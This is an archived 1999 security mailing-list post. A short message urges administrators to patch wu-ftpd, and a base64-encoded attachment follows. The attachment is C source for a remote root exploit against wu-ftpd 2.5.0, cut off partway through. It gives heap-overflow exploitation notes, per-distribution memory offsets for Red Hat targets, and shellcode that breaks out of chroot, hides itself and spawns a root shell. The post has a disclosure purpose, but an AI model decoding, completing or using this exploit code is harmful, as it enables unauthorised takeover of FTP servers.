(no subject)

From: Swen Persson (_nuubat_private)
Date: Wed Nov 24 1999 - 10:13:44 PST

  • Next message: Brendan Howes: "Windows NT 4.0 Service Pack 6A Breaks IP Forwarding"

    --0-424238335-943467224=:22389
    Content-Type: text/plain; charset=us-ascii
    Content-Disposition: inline
    
    >Kerb wrote:
    >...
    >> No exploit has been released to date, even though 2.6.0 is out.
    >...
    >
    >---ifafoffuffoffaf.c---
    
    Here is another - and I'm sure there are more floating around out there...
    
    If a vulnerability is reported and a fix provided (as in this case), plug it!
    Don't wait until you happen to see a public exploit...
    
    nuuB
    
    __________________________________________________
    Do You Yahoo!?
    Thousands of Stores.  Millions of Products.  All in one place.
    Yahoo! Shopping: http://shopping.yahoo.com
    --0-424238335-943467224=:22389
    Content-Type: application/x-unknown; name="wuftpd250-sploit.c"
    Content-Transfer-Encoding: base64
    Content-Description: wuftpd250-sploit.c
    Content-Disposition: attachment; filename="wuftpd250-sploit.c"
    
    LyoKICogd3VmdHBkMjUwLXNwbG9pdC5jIC0gd3VmdHBkIDIuNS4wIGhhbmRz
    IHVzIChyZW1vdGUpIHIwMHQgaW4gdGhlIGVuc3VpbmcKICogICAgICAgICAg
    ICAgICAgICAgICAgY2hhb3MgdGhhdCBmb2xsb3dzIGEgaGVhcCBvdmVyZmxv
    dy4gTGludXggdmVyc2lvbi4KICoKICogQzBkZWQgYnkgbnV1QiBbU2VwIDE5
    LCAxOTk5XQogKgogKiBDb21waWxlIHdpdGg6CiAqCiAqICAgICAgICBjYyB3
    dWZ0cGQyNTAtc3Bsb2l0LmMgLW8gd3VmdHBkMjUwLXNwbG9pdAogKgogKiBD
    cmVkaXRzOgogKiAgICAgICAgdHlwbyBmb3IgaW50ZXJlc3RpbmcgZGlzY3Vz
    c2lvbnMgYW5kIHRoZSBkb3VibGUgY29tYm8gaWRlYS4KICogICAgICAgIGVk
    aSBmb3IgdGhlICdlaXAgaW4gUEFTUycgaWRlYS4KICogICAgICAgIGxjYW10
    dWYgZm9yIGZpbmRpbmcgdGhlIGJ1ZyBhbmQgcG9zdGluZyBvbiBidWd0cmFx
    LgogKiAgICAgICAgdGVtYXMgZm9yIGEgUkg2IGJveCB0byB0ZXN0IHRoaXMg
    b24uCiAqCiAqIFF1b3RlOgogKgogKiAiPHR5cG9fPiBpdCdzIHdpY2tlZC4u
    LiBidXQgeW91IGNhbiBjaGFuZ2UgZXJyY2F0Y2ggYW5kIExhc3RBcmd2IGF0
    IHRoZQogKiAgICAgICAgICBzYW1lIHRpbWUsIHRodXMgZG9pbmcgYW4gZWxp
    dGUgY29tYm8gYW5kIG93bmluZyB0aGUgZW50aXJlIHdvcmxkIgogKgogKiBC
    ZWxvdyBpcyBhIGRldGFpbGVkIGRlc2NyaXB0aW9uIG9mIGhvdyB0aGUgZXhw
    bG9pdCB3b3Jrcy4gWW91IHNob3VsZG4ndAogKiBoYXZlIHRvbyBtdWNoIHRy
    b3VibGUgdW5kZXJzdGFuZGluZyB3aGF0IGlzIGdvaW5nIG9uLiBUaGUgY29k
    ZSBpcyB3cml0dGVuCiAqIGZvciByZWFkYWJpbGl0eSBhbmQgcm9ib3VzdG5l
    c3MgKGkuZSBub3QgdXNpbmcgdGhlICdwcmludGYoKXxuYycgc3R5bGUpLgog
    KgogKiBIYXZlIGZ1biwgYnV0IGFzIGFsd2F5cyAtIEJFSEFWRSEKICoKICog
    L251dUIKICovCgovKgogKiBPdmVyZmxvdzoKICogCiAqICAgY3dkKDxFR0c+
    KSAtPiBtYXBwaW5nX2NoZGlyKCkgLT4gZG9fZWxlbSgpIC0+IHN0cmNhdCht
    YXBwZWRfcGF0aCwgZGlyKTsKICoKICogUHNldWRvIGNhbGwgc2VxdWVuY2Ug
    Zm9yIGVhY2ggcmVjZWl2ZWQgRlRQIGNvbW1hbmQ6CiAqCiAqICAgaWYoY29t
    bWFuZF9ub3RfaW1wbGVtZW50ZWQpIGxvbmdqbXAoZXJyY2F0Y2gpOwogKiAg
    IHNldHByb2N0aXRsZSgiPHdobz46IDxjb21tYW5kPiIpOwogKiAgIGRvXzxj
    b21tYW5kPigpOwogKiAgIHNldHByb2N0aXRsZSgiPHdobz46IElETEUiKTsK
    ICoKICogd2hlcmUKICoKICogICBzZXRwcm9jdGl0bGUoPHN0cmluZz4pIHsK
    ICogICAgIGNvcHkgPHN0cmluZz4gdG8gQXJndlswXSBhbmQgcGFkIHdpdGgg
    c3BhY2VzIHRvIExhc3RBcmd2OwogKiAgIH0KICoKICogRWdnOgogKgogKiAg
    ICAvaW5jb21pbmcvQS0tQS88YzBkZT4vPGMwZGU+QS0tQS9lZWVlMDAwMDEx
    MTFvb29vb29vb3Z2dnZMTExMXDAKICogICAgXi0gMCAgICAgICAgICAgXi0g
    bXBfc2l6ZS0yNTUtMjU2ICAgICAgICAgICAgXi0gbXBfc2l6ZQogKgogKiBQ
    YWQ6IEEtLUE9cGFkZGluZy9OT1AKICogRGF0YTogZT1laXAgZm9yIHRoZSAy
    eCBjb21ibyAoc2VlIGJlbG93KSwgMD1vd25lZF9Bcmd2WzBdLCAxPW93bmVk
    X0FyZ3ZbMV0KICogT3ZlcmZsb3dlZCB2YXJpYWJsZXM6IG89b25lZmlsZSwg
    dj1Bcmd2IChwdHIgdG8gQXJndlswXSksIEw9TGFzdEFyZ3YKICoKICogbXBf
    c2l6ZSA9IHNpemVvZihtYXBwZWRfcGF0aCkgKyBhbnkgYWxpZ25tZW50IGJ5
    dGVzIGFkZGVkIGJ5IHRoZSBjb21waWxlcgogKgogKiAgIFdlIGNhbid0IGdl
    dCBlaXAgZGlyZWN0bHksIGJ1dCBhcyBzZXRwcm9jdGl0bGUoKSBjb3BpZXMg
    ZGF0YSB3ZSBoYXZlIHNvbWUKICogICBjb250cm9sIG92ZXIgdG8gdGhlIGFy
    ZWEgYmV0d2VlbiBBcmd2WzBdIGFuZCBMYXN0QXJndiB3ZSBjYW4gZG8gc29t
    ZSBuZWF0CiAqICAgc3R1ZmYuIFRoZXJlIGFyZSBzZXZlcmFsIHdheXMgdG8g
    ZG8gaXQsIGJ1dCB0aGlzIGV4cGxvaXQgdXNlcyB0aGUgdGhyZWUKICogICBk
    aWZmZXJlbnQgbWV0aG9kcyBvdXRsaW5lZCBiZWxvdy4KICoKICogQW5vbiBh
    dHRhY2s6CiAqCiAqICAgV2UgcGxhY2UgdGhlIHBvaW50ZXIgdG8gb3VyIGMw
    ZGUgaW4gUEFTUyAodXNlZCBpbiBzZXRwcm9jdGl0bGUoIklETEUiKSkuCiAq
    ICAgZWlwIGNhbiBiZSBzbmFnZ2VkIGluIGRpZmZlcmVudCB3YXlzLiBPbmUg
    d2F5IGlzIHRvIG92ZXJ3cml0ZSB0aGUgcmV0dXJuCiAqICAgYWRkcmVzcyBv
    biB0aGUgc3RhY2sgZm9yIHNldHByb2N0aXRsZSgpLCBlc3NlbnRpYWxseSB0
    dXJuaW5nIHRoZSBoZWFwCiAqICAgb3ZlcmZsb3cgaW50byBhIHN0YWNrIG92
    ZXJmbG93LiBUaGUgbmF0dXJlIG9mIHRoZSBleHBsb2l0IGZvcmNlcyB1cyB0
    bwogKiAgIGtub3cgdGhlIGV4YWN0IHBsYWNlIG9uIHRoZSBzdGFjaywgYW5k
    IHRoaXMgdmFyaWVzIHdpdGggdGhlIGVudmlyb25tZW50LgogKiAgIFRodXMg
    dGhpcyBtZXRob2QgaXMgdmVyeSB1bnJlbGlhYmxlLCBidXQgaXMgc3RpbGwg
    aW5jbHVkZWQgYXMgd2UgZG8KICogICB0aGlzIGZvciBmdW4gOikgQSBiZXR0
    ZXIgd2F5IGlzIHRvIG92ZXJ3cml0ZSB0aGUgSkJfUEMgcGFydCBvZiBlcnJj
    YXRjaAogKiAgIGFuZCB0aGVuIGNhdXNlIGVycmNhdGNoIHRvIGJlIGNhbGxl
    ZCBieSBpc3N1aW5nIGFuIHVuaW1wbGVtZW50ZWQgY29tbWFuZC4KICogICBT
    dGlsbCwgd2UgbmVlZCB0d28gb2Zmc2V0cywgYnV0IGJvdGggYXJlIG9uIHRo
    ZSBoZWFwLiBBcyBhIGJvbnVzCiAqICAgdGhpcyBtZXRob2QgY2FuJ3QgYmUg
    c3RvcHBlZCBieSBTdGFjayBHdWFyZCBvciBub24tZXhlY3V0YWJsZSBzdGFj
    a3MuCiAqCiAqICAgUmVxdWlyZWQgb2Zmc2V0czogbWFwcGVkX3BhdGgsIHNl
    dHByb2N0aXRsZSgpIHN0YWNrIGVpcCAvIGVycmNhdGNoLgogKgogKiBBY2Nv
    dW50IGF0dGFjazogCiAqCiAqICAgVGhlcmUgaXMgbm8gY29udHJvbGxhYmxl
    IGRhdGEgaW4gdGhlIHNldHByb2N0aXRsZSgiSURMRSIpIGNhbGwgc28gd2Ug
    dXNlCiAqICAgdHdvIENXRCdzIGFuZCBtYWtlIHVzZSBvZiB0aGUgc2V0cHJv
    Y3RpdGxlKCJDV0QiKSBjYWxscy4gVGhlIGZpcnN0IENXRAogKiAgIHdpbGwg
    c2V0IHRoZSBBcmd2IHN0dWZmIHNvIHRoZSBzZWNvbmQgQ1dEICh3aXRoIG91
    ciBlaXApIGdldHMgd3JpdHRlbgogKiAgIHdoZXJlIHdlIHdhbnQuIFRoZSBz
    ZWNvbmQgQ1dEIHdpbGwgaGF2ZSB0byBjaGFuZ2UgdGhlIEFyZ3YncyBzbyB0
    aGF0CiAqICAgd2UgZG9uJ3QgZGVzdHJveSB0aGUgZWlwIHdoZW4gdGhlIGZp
    bmFsIHNldHByb2N0aXRsZSgiSURMRSIpIGNhbGwgY29tZXMuCiAqICAgSW4g
    dGhpcyBjYXNlIHdlIGNhbid0IHdyaXRlIGVpcCB0byB0aGUgc3RhY2sgYXMg
    aXQgd2lsbCBiZSBob3NlZCBiZWZvcmUKICogICB3ZSBnZXQgYSBjaGFuY2Ug
    dG8gdXNlIGl0LiBUaGlzIG1ldGhvZCB3b3JrcyBmb3IgYW5vbnltb3VzIHRv
    byBhbmQgaXMKICogICB1bnN0b3BwYWJsZSBieSBTdGFjayBHdWFyZCBldGMu
    CiAqCiAqICAgUmVxdWlyZWQgb2Zmc2V0czogbWFwcGVkX3BhdGgsIGVycmNh
    dGNoLgogKgogKiBJbnRlcmVzdGluZyBmaW5kaW5nOgogKgogKiAgIFdoZW4g
    dHJ5aW5nIHRvIENXRCA8b3ZlcmZsb3dpbmcgY29tcG9uZW50PiB5b3UgZ2V0
    IGEgMjUwIHJlcGx5IHVuZGVyCiAqICAgUkg1LjEsIGJ1dCB1bmRlciBSSDYu
    MCB5b3UgZ2V0IGEgNTUwIChpLmUgY2hkaXIoKSBmYWlscykgLSBldmVuIHRo
    b3VnaAogKiAgIHRoZSBzb3VyY2UgZm9yIHd1ZnRwZCBpcyB0aGUgc2FtZSBp
    biBib3RoIGNhc2VzLiBUaGlzIHByb2JhYmx5IGhhcyB0byBkbwogKiAgIHdp
    dGggdGhlIGRpZmZlcmVudCBrZXJuZWwvbGliYydzIGFuZCBob3cgdGhleSBo
    YW5kbGUgbG9uZyBwYXRocy4gQW55aG93LAogKiAgIHRoaXMgbmVlZHMgdG8g
    YmUgdGFrZW4gaW50byBhY2NvdW50IGluIHRoZSBkb3VibGUgY29tYm8gYXR0
    YWNrLgogKgogKiBPZmZzZXRzOgogKgogKiAgIFRoZSBhYm92ZSBtZXRob2Rz
    IHJlcXVpcmUgdHdvIG9mZnNldHMgdG8gYmUga25vd24gZXhhY3RseS4gVGhp
    cyBnaXZlcwogKiAgIHVzIGEgbG90IG9mIGNvbWJpbmF0aW9ucyB0byB0cnku
    IFRoZSBhbW91bnQgY291bGQgcG9zc2libHkgYmUgcmVkdWNlZAogKiAgIGEg
    Yml0IHVzaW5nIG1vcmUgZWlwIHBvaW50ZXJzLCBidXQgYXMgbWFwcGVkX3Bh
    dGggaGFzIHRvIGJlIGtub3duCiAqICAgdGhlIG51bWJlciBvZiBjb21iaW5h
    dGlvbnMgaXMgYmlnZ2VyIHRoYW4gSSB0aGluayBpcyBwcmFjdGljYWwuIFRo
    dXMKICogICB0aGVyZSBpcyBubyBvcHRpb24gdG8gZW50ZXIgb2Zmc2V0cyBm
    cm9tIHRoZSBjb21tYW5kIGxpbmUuCiAqLwoKI2luY2x1ZGUgPHN0ZGlvLmg+
    CiNpbmNsdWRlIDxzdGRsaWIuaD4KI2luY2x1ZGUgPHN0cmluZy5oPgojaW5j
    bHVkZSA8c3lzL3R5cGVzLmg+CiNpbmNsdWRlIDxzeXMvc29ja2V0Lmg+CiNp
    bmNsdWRlIDxhcnBhL2luZXQuaD4KI2luY2x1ZGUgPG5ldGRiLmg+CiNpbmNs
    dWRlIDxlcnJuby5oPgojaW5jbHVkZSA8dW5pc3RkLmg+CiNpbmNsdWRlIDxm
    Y250bC5oPgojaW5jbHVkZSA8c2lnbmFsLmg+CiNpbmNsdWRlIDxjdHlwZS5o
    PgoKZXh0ZXJuIGludCBlcnJubzsKCi8qIE9mZnNldHMgdGhhdCBtdXN0IGJl
    IGtub3duIChleGFjdGx5KSAqLwppbnQgbWFwcGVkX3BhdGhfc2l6ZTsgLyog
    bm90IHJlYWxseSBhbiBvZmZzZXQuLi4gbm9ybWFsbHkgMTAyNCBvciA0MDk2
    ICovCnVuc2lnbmVkIGxvbmcgbWFwcGVkX3BhdGg7CnVuc2lnbmVkIGxvbmcg
    ZWlwX2FkZHI7CgovKiBWYWx1ZXMgd2Ugd2FudCB0byBzZXQgdGhlIGNvcnJl
    c3BvbmRpbmcgdmFyaWFibGVzIHRvLiBDYWxjdWxhdGVkIGZyb20gdGhlCiAq
    IGFib3ZlIG9mZnNldHMuCiAqLwp1bnNpZ25lZCBsb25nIGMwZGVfYWRkcjsK
    dW5zaWduZWQgbG9uZyBvd25lZF9Bcmd2MDsKdW5zaWduZWQgbG9uZyBvd25l
    ZF9Bcmd2Owp1bnNpZ25lZCBsb25nIG93bmVkX0xhc3RBcmd2OwoKI2RlZmlu
    ZSBUT1BfT0ZfU1RBQ0sgMHhjMDAwMDAwMAoKLyogVmFyaWFibGUgdGhhdCBk
    ZWNpZGVzIGlmIG1rZF9jd2QoKSBhYm9ydHMgb24gZXJyb3JzIG9yIG5vdCAq
    LwppbnQgbWtkX2N3ZF9iYWlsX29uX2Vycm9yPTE7CgovKiBMZXRzIHN0YXJ0
    IGNvbGxlY3Rpbmcgb2Zmc2V0cy4uLiAqLwoKc3RydWN0IHByZXNldCB7CiAg
    Y2hhciAqZGVzYzsKICB2b2lkICgqYXR0YWNrKSgpOwogIGludCBtcHNpemU7
    CiAgdW5zaWduZWQgbG9uZyBtcDsKICB1bnNpZ25lZCBsb25nIGVpcF9hZGRy
    Owp9OwoKdm9pZCBhdHRhY2tfYW5vbigpOwp2b2lkIGF0dGFja19hbnkoKTsK
    Ci8qIE9mZnNldHMgY2FuIGJlIGZvdW5kIHVzaW5nIGdkYiwgb2JqZHVtcCBv
    ciBsdHJhY2UgKi8KCnN0cnVjdCBwcmVzZXQgcHJlc2V0c1tdPXsKICB7ImVp
    cCAgIFJIIDYuMCAgd3UtZnRwZC0yLjUuMC0yLmkzODYucnBtICAgICAgICBU
    dWUgSnVuIDggMDg6NTU6MTIgRURUIDE5OTkiLAogICBhdHRhY2tfYW5vbiwg
    NDA5NiwgMHgwODA2YTFlMCwgMHhiZmZmZThhNH0sCiAgCiAgeyJsam1wICBS
    SCA1LjEgIHd1LWZ0cGQtMi41LjAtMS5SSDUtMS5pMzg2LnJwbSAgRnJpIE1h
    eSAyMSAxMDo0NTo1NyBFRFQgMTk5OSIsCiAgIGF0dGFja19hbm9uLCAxMDI0
    LCAweDA4MDY2ODkwLCAweDA4MDZmY2MwKzUqNH0sCiAgeyJsam1wICBSSCA1
    LjIgIHd1LWZ0cGQtMi41LjAtMC41LjIuaTM4Ni5ycG0gICAgVHVlIEp1biA4
    IDExOjE5OjQ0IEVEVCAxOTk5IiwKICAgYXR0YWNrX2Fub24sIDEwMjQsIDB4
    MDgwNjc1MDQsIDB4MDgwNzA5MzArNSo0fSwKICB7ImxqbXAgIFJIIDYuMCAg
    d3UtZnRwZC0yLjQuMnZyMTctMy5pMzg2LnJwbSAgICBNb24gQXByIDE5IDA5
    OjIxOjUzIEVEVCAxOTk5IiwKICAgYXR0YWNrX2Fub24sIDQwOTYsIDB4MDgw
    Njc3ODAsIDB4MDgwNzU1MjArNSo0fSwKICB7ImxqbXAgIFJIIDYuMCAgd3Ut
    ZnRwZC0yLjUuMC0yLmkzODYucnBtICAgICAgICBUdWUgSnVuIDggMDg6NTU6
    MTIgRURUIDE5OTkiLAogICBhdHRhY2tfYW5vbiwgNDA5NiwgMHgwODA2YTFl
    MCwgMHgwODA3N2ZjMCs1KjR9LAoKICB7IjJ4ICAgIFJIIDUuMSAgd3UtZnRw
    ZC0yLjUuMC0xLlJINS0xLmkzODYucnBtICBGcmkgTWF5IDIxIDEwOjQ1OjU3
    IEVEVCAxOTk5IiwKICAgYXR0YWNrX2FueSwgMTAyNCwgMHgwODA2Njg5MCwg
    MHgwODA2ZmNjMCs1KjR9LAogIHsiMnggICAgUkggNS4yICB3dS1mdHBkLTIu
    NS4wLTAuNS4yLmkzODYucnBtICAgIFR1ZSBKdW4gOCAxMToxOTo0NCBFRFQg
    MTk5OSIsCiAgIGF0dGFja19hbnksIDEwMjQsIDB4MDgwNjc1MDQsIDB4MDgw
    NzA5MzArNSo0fSwKICB7IjJ4ICAgIFJIIDYuMCAgd3UtZnRwZC0yLjQuMnZy
    MTctMy5pMzg2LnJwbSAgICBNb24gQXByIDE5IDA5OjIxOjUzIEVEVCAxOTk5
    IiwKICAgYXR0YWNrX2FueSwgNDA5NiwgMHgwODA2Nzc4MCwgMHgwODA3NTUy
    MCs1KjR9LAogIHsiMnggICAgUkggNi4wICB3dS1mdHBkLTIuNS4wLTIuaTM4
    Ni5ycG0gICAgICAgIFR1ZSBKdW4gOCAwODo1NToxMiBFRFQgMTk5OSIsCiAg
    IGF0dGFja19hbnksIDQwOTYsIDB4MDgwNmExZTAsIDB4MDgwNzdmYzArNSo0
    fSwKCiAgezAsMCwwLDAsMH0KfTsKCgovKiBTb21lIHN0dWZmIHdlIG5lZWQg
    Ki8KCmludCBjdHJsOwppbnQgdmVyYm9zZTsKY2hhciAqbG9jYWxfaG9zdG5h
    bWU7CgpjaGFyICp0YXJnZXRfaG9zdDsKaW50ICAgdGFyZ2V0X3BvcnQ7CmNo
    YXIgKnRhcmdldF91c2VyPTA7CmNoYXIgKnRhcmdldF9wYXNzPTA7CmNoYXIg
    KnRhcmdldF9kaXI9MDsKCi8qCiAqIFRoaXMgYzBkZSBicmVha3Mgb3V0IG9m
    IGNocm9vdCgpIGFuZCB0aGVuIGdvZXMgdGhyb3VnaCBhIGxvdCBvZiB0cm91
    YmxlCiAqIHRvIGhpZGUgdGhlIHByb2Nlc3MgZnJvbSB0aGUgc3lzdGVtIG9w
    ZXJhdG9yLiBGaW5hbGx5IGEgc2hlbGwgaXMgc3Bhd25lZC4KICoKICogYzBk
    ZToKICoKICogICBzZXRyZXVpZCgwLDApOyBta2RpcigiaCIpOyBjaHJvb3Qo
    ImgiKTsgZm9yKGk9MHg0MjtpOy0taSkgY2hkaXIoIi4uIik7CiAqICAgY2hy
    b290KCIuIik7IGhpZGVfcHJvY2VzcygpOyBleGVjdmUoIi9iaW4vc2giKTsK
    ICoKICogTjBuMCBjMGRlejogMHgwMCwgMHgwYSwgMHgwZCBhbmQgZm9yIGNv
    bnZlbmllbmNlIDB4MmYgKCcvJykuCiAqLwoKLyogTm90IG9wdGltaXplZCBm
    b3Igc3BhY2UgYXMgd2UgZ290IHBsZW50eSBvZiByb29tICovCgojZGVmaW5l
    IEMwREVfU0laRSA0MDIKCmNoYXIgYzBkZVtdPSJceGJjXHhmY1x4ZmZceGZm
    XHhiZlx4ZWJceDAyXHhlYlx4MWNceGU4XHhmOVx4ZmZceGZmXHhmZlx4MmVc
    eDJlIgogICAgICAgICAgICAiXHgzMFx4NTNceDY0XHg2NVx4NzZceDUzXHg2
    M1x4NmZceDZlXHg3M1x4NmZceDZjXHg2NVx4MzBceDUzXHg2MiIKICAgICAg
    ICAgICAgIlx4NjlceDZlXHg1M1x4NzNceDY4XHg1ZFx4MzFceGMwXHg4OFx4
    NDVceDAyXHg4OFx4NDVceDBmXHg4OFx4NDUiCiAgICAgICAgICAgICJceDE3
    XHg4ZFx4NWRceDE1XHg4OVx4NWRceDE4XHg4OVx4NDVceDFjXHgwNFx4MmVc
    eDQwXHg4OFx4NDVceDAzIgogICAgICAgICAgICAiXHg4OFx4NDVceDA3XHg4
    OFx4NDVceDEwXHg4OFx4NDVceDE0XHgzMVx4YzBceDg5XHhjM1x4ODlceGMx
    XHhiMCIKICAgICAgICAgICAgIlx4NDZceGNkXHg4MFx4OGRceDVkXHgxNlx4
    MzFceGM5XHg2Nlx4YjlceDZkXHgwMVx4MzFceGMwXHhiMFx4MjciCiAgICAg
    ICAgICAgICJceGNkXHg4MFx4OGRceDVkXHgxNlx4MzFceGMwXHhiMFx4M2Rc
    eGNkXHg4MFx4MzFceGM5XHhiMVx4NDJceDg5IgogICAgICAgICAgICAiXHhl
    Ylx4MzFceGMwXHhiMFx4MGNceGNkXHg4MFx4NDlceDc1XHhmNVx4OGRceDVk
    XHgwMVx4MzFceGMwXHhiMCIKICAgICAgICAgICAgIlx4M2RceGNkXHg4MFx4
    ZWJceDVkXHg4ZFx4NTVceDFjXHg4ZFx4NGRceDE4XHg4ZFx4NWRceDEwXHgz
    MVx4YzAiCiAgICAgICAgICAgICJceGIwXHgwYlx4Y2RceDgwXHgzMVx4ZGJc
    eDMxXHhjMFx4YjBceDAxXHhjZFx4ODBceDJhXHgwMlx4MDJceDA0IgogICAg
    ICAgICAgICAiXHgwNFx4MDFceDAxXHgwMVx4MDFceDA0XHgwNFx4MDJceDAy
    XHg4OVx4ZjNceDY2XHhiOVx4MzJceDRiXHgzMSIKICAgICAgICAgICAgIlx4
    YzBceGIwXHgzNlx4Y2RceDgwXHhjM1x4ODlceGMyXHg1M1x4YzFceGUzXHgx
    MFx4MDlceGRhXHg4OVx4ZjMiCiAgICAgICAgICAgICJceDY2XHhiOVx4MzBc
    eDRiXHgzMVx4YzBceGIwXHgzNlx4Y2RceDgwXHg1YVx4YzFceGUyXHgxNFx4
    ODlceDU1IgogICAgICAgICAgICAiXHgwOFx4MzFceGMwXHg4OVx4NDVceDA0
    XHg4ZFx4NWRceDA0XHgzMVx4YzlceGIwXHhhMlx4Y2RceDgwXHhjMyIKICAg
    ICAgICAgICAgIlx4ZWJceGIyXHg4ZFx4NWRceDAzXHgzMVx4YzlceGIxXHgw
    Mlx4MzFceGMwXHhiMFx4MDVceGNkXHg4MFx4ODkiCiAgICAgICAgICAgICJc
    eGM2XHgzMVx4YzBceGIwXHg5Ylx4MDFceGU4XHg4OVx4NDVceDEwXHgzMVx4
    ZGJceGIzXHhhOFx4OTBceDkwIgogICAgICAgICAgICAiXHgwMVx4ZWJceDg5
    XHg1ZFx4MThceDMxXHhjMFx4YjBceDhlXHgwMVx4ZThceDg5XHg0NVx4MGNc
    eDMxXHhjOSIKICAgICAgICAgICAgIlx4YjFceDA2XHg1MVx4NTlceDQ5XHg1
    MVx4ZTNceGM4XHgzMVx4YzBceDQwXHg4Ylx4NWRceDBjXHg4OFx4MDMiCiAg
    ICAgICAgICAgICJceDMxXHhmZlx4NjZceGJmXHg1Y1x4MTJceDg5XHhmOFx4
    MzFceGRiXHhiM1x4MjhceGZmXHg1NVx4MThceDhiIgogICAgICAgICAgICAi
    XHg1ZFx4MGNceDMxXHhjMFx4OGFceDAzXHg1MFx4MDNceDQ1XHgwY1x4MzFc
    eGQyXHg4YVx4MTBceDU4XHg0MCIKICAgICAgICAgICAgIlx4ODNceGY4XHgw
    Y1x4NzVceDAzXHgzMVx4YzBceDQwXHg4OFx4MDNceGZmXHg1NVx4MTBceDMx
    XHhjMFx4YjAiCiAgICAgICAgICAgICJceDQ3XHgyOVx4YzdceDY2XHg4MVx4
    ZmZceDYwXHgwOVx4NzNceGNjXHgzMVx4ZmZceDY2XHhiZlx4NjBceDA5Igog
    ICAgICAgICAgICAiXHgwZlx4YmFceGU3XHgwMVx4NzNceDA3XHgzMVx4ZDJc
    eGIyXHgwN1x4ZmZceDU1XHgxMFx4ODlceGY4XHgzMSIKICAgICAgICAgICAg
    Ilx4ZGJceGIzXHgyOFx4ZmZceDU1XHgxOFx4MGZceGJhXHhlN1x4MDFceDcz
    XHgwN1x4MzFceGQyXHgzMVx4ZDIiCiAgICAgICAgICAgICJceGZmXHg1NVx4
    MTBceDMxXHhjMFx4YjBceDY1XHgwMVx4YzdceDY2XHg4MVx4ZmZceDVjXHgx
    Mlx4NzZceGQwIgogICAgICAgICAgICAiXHhlYlx4ODEiOwoKdm9pZCB1c2Fn
    ZSgpIHsKICBpbnQgaTsKCiAgcHJpbnRmKCJ3dWZ0cGQgMi41LjAgcmVtb3Rl
    IHIwMHQgZXhwbG9pdC4gQzBkZWQgYnkgbnV1QiBbU2VwIDE5LCAxOTk5XS5c
    blxuIgoJICJVc2FnZTogd3VmdHBkMjUwLXNwbG9pdCA8dGFyZ2V0PiA8dHlw
    ZT5cblxuIgoJICI8dGFyZ2V0PiA9IFs8dXNlcj46PHBhc3M+QF08aG9zdD5b
    Ojxwb3J0Pl1bLzx3cml0YWJsZSBkaXI+XVxuXG4iCgoiVHlwZSBOZWVxICBE
    aXN0cm8gIFJQTSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQmFubmVy
    IGRhdGVcbiIKIi0tLS0gLS0tLSAgLS0tLS0tICAtLS0tLS0tLS0tLS0tLS0t
    LS0tLS0tLS0tLS0tLS0tIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1c
    biIpOwoKICBmb3IoaT0wOyBwcmVzZXRzW2ldLmRlc2M7ICsraSkgewogICAg
    aWYocHJlc2V0c1tpXS5tcHNpemUpCiAgICAgIHByaW50ZigiJTJkKSAgJXNc
    biIsIGksIHByZXNldHNbaV0uZGVzYyk7CiAgfQoKICBwcmludGYoIlxuIgog
    ICIgZWlwICAgPSBzZXRwcm9jdGl0bGUoKSBlaXAgb3ZlcndyaXRlIChzdGFj
    aywgdW5yZWxpYWJsZSwgYW5vbnltb3VzIG9ubHkpXG4iCiAgIiBsam1wICA9
    IGVycmNhdGNoIEpCX1BDIG92ZXJ3cml0ZSAoaGVhcCwgYW5vbnltb3VzIG9u
    bHkpXG4iCiAgIiAyeCAgICA9IGVycmNhdGNoIEpCX1BDIG92ZXJ3cml0ZSB1
    c2luZyAyeCBjb21ibyAoaGVhcClcbiIpOwogIGV4aXQoMCk7Cn0KCgp2b2lk
    IHBhcnNlX3VybChjaGFyICp1cmwpIHsKICBjaGFyICp1LCAqczsKCiAgdT1z
    dHJkdXAodXJsKTsKICBpZigocz1zdHJyY2hyKHUsICdAJykpKSB7CiAgICAq
    cysrPTA7CiAgICB0YXJnZXRfdXNlcj11OwogICAgdT1zOwogICAgaWYoIShz
    PXN0cmNocih0YXJnZXRfdXNlciwgJzonKSkpIHVzYWdlKCk7CiAgICAqcysr
    PTA7CiAgICB0YXJnZXRfcGFzcz1zOwogIH0KICB0YXJnZXRfaG9zdD11Owog
    IGlmKCh1PXN0cmNocih1LCAnLycpKSkgewogICAgdGFyZ2V0X2Rpcj1zdHJk
    dXAodSk7CiAgICAqdT0wOwogIH0KICBpZigocz1zdHJjaHIodGFyZ2V0X2hv
    c3QsICc6JykpKSB7CiAgICAqcysrPTA7CiAgICBpZighaXNkaWdpdCgqcykp
    IHVzYWdlKCk7CiAgICB0YXJnZXRfcG9ydD1hdG9pKHMpOwogIH0KICBlbHNl
    CiAgICB0YXJnZXRfcG9ydD0yMTsKfQoKCnZvaWQgYmFpbGUoY2hhciAqcykg
    ewogIHByaW50ZigiKioqICVzIFtlcnJubz0lZCAtICVzXVxuIiwgcywgZXJy
    bm8sIHN0cmVycm9yKGVycm5vKSk7CiAgZXhpdCgxKTsKfQoKCnZvaWQgYmFp
    bChjaGFyICpzKSB7CiAgcHJpbnRmKCIqKiogJXNcbiIsIHMpOwogIGV4aXQo
    MSk7Cn0KCgovKiBTaG91bGQgd29yayBvbiBhbGwgcGxhdGZvcm1zICovCgpj
    aGFyICpodG9sX0xFc3RyKHVuc2lnbmVkIGxvbmcgbnVtKSB7CiAgc3RhdGlj
    IHVuc2lnbmVkIGNoYXIgYnVmWzVdOwogIHVuc2lnbmVkIGxvbmcgbjsKCiAg
    bj1odG9ubChudW0pOwogIGJ1ZlswXT0obj4+MjQpJjB4ZmY7CiAgYnVmWzFd
    PShuPj4xNikmMHhmZjsKICBidWZbMl09KG4+PjgpJjB4ZmY7CiAgYnVmWzNd
    PW4mMHhmZjsKICBidWZbNF09MDsKCiAgaWYoc3RybGVuKGJ1ZikgIT0gNCB8
    fAogICAgIHN0cmNocihidWYsICdccicpIHx8IHN0cmNocihidWYsICdcbicp
    IHx8IHN0cmNocihidWYsICcvJykpIHsKICAgIHByaW50ZigiKioqIElsbGVn
    YWwgY2hhciBpbiBudW1iZXIgMHglMDh4IGZvdW5kIVxuXG4iLCAodW5zaWdu
    ZWQgaW50KW51bSk7CiAgICBiYWlsKCJTcGxvaXQgbmVlZHMgdG8gYmUgc2xp
    Z2h0bHkgcmVhbGlnbmVkLiBObyBwcm9ibGVtcywgcmlnaHQga2lkej8gQn0i
    KTsKICB9CiAgcmV0dXJuIGJ1ZjsKfQoKCmludCBjb25uZWN0X2hvc3QoKSB7
    CiAgY2hhciAqcDsKICBpbnQgZmQ7CiAgc3RydWN0IHNvY2thZGRyX2luIHRh
